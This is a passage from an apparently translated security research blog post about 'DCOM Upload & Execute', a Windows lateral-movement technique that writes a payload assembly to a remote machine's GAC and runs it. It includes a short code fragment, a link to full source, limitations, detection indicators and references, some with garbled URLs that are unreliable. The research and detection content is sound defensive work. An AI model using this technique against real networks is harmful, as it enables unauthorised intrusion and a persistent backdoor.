// runs after our call to pMsiAction->LoadEmbeddedDLL, loading our payload assembly

ulong ret1, ret2;

std::string messageToVictim = "Hello from DCOM Upload & Execute";

hr = pMsiAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &ret1, &ret2);

 运行完整的攻击代码将会在远程目标PC上弹出一个消息框:

图 21:DCOM 上传和执行客户端命令行

图 22:目标受害者的结果

完整源代码: https: //github.com/deepinstinct/DCOMUploadExec 

限制

  1. 攻击者和受害者机器必须位于同一个域或林中。 

  2. 攻击者和受害者的机器必须与 DCOM 强化补丁一致,要么在两个系统上都应用了补丁,要么两者都没有应用补丁。 

  3. 上传并执行的程序集有效负载必须具有强名称 

  4. 上传和执行的程序集有效负载必须是 x86 或 x64(不能是 AnyCPU) 

检测

这次攻击留下了明显的 IOC,可以被检测和阻止 

1、包含远程身份验证数据的事件日志: 

图23:远程登录事件日志 

2、使用命令行模式C:\Windows\System32\MsiExec.exe -Embedding [HEXEDICAMAL_CHARS] 创建子项(自定义操作服务器)的 MSIEXEC 服务

图 24:DCOM 上传和执行期间的进程树

3、子 MSIEXEC 将 DLL 写入 GAC 

4、子 MSIEXEC 从 GAC 加载 DLL 

概括

到目前为止,由于 DCOM 具有可编写脚本的特性,因此 DCOM 横向移动攻击仅针对基于 IDispatch 的 COM 对象进行研究。本篇博文介绍了一种研究 COM 和 DCOM 对象的完整方法,无需依赖其文档或是否实现 IDispatch。 

通过这种方法,我们暴露了“DCOM 上传和执行”这种强大的 DCOM 横向移动攻击,它可以远程将自定义负载写入受害者的 GAC,从服务上下文中执行它们并与它们进行通信,有效地充当嵌入式后门。 

这里提出的研究证明,许多意外的 DCOM 对象可能被利用来进行横向移动,因此应该采取适当的防御措施。 

如果您担心这些隐秘攻击会破坏您的环境,请请求演示以了解 Deep Instinct 如何使用世界上唯一专为网络安全而构建的深度学习框架来防止其他供应商无法发现的攻击。 

参考

  1. https://enigma0x3.net/2017/01/05/terior-movement-using-the-mmc20-application-com-object/ 

  2. https://enigma0x3.net/2017/01/23/terior-movement-via-dcom-round-2/ 

  3. https://github.com/tyranid/oleviewdotnet 

  4. https://securityboulevard.com/2023/10/terior-movement-abuse-the-power-of-dcom-excel-application/ 

  5. https://www.cybereason.com/blog/dcom-terior-movement-techniques

  6. https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory

  7. https://blog.xpnsec.com/rundll32-your-dotnet/

  8. https://www.nuget.org/packages/UnmanagementExports

  9. https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e- 37ed901c769c



感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章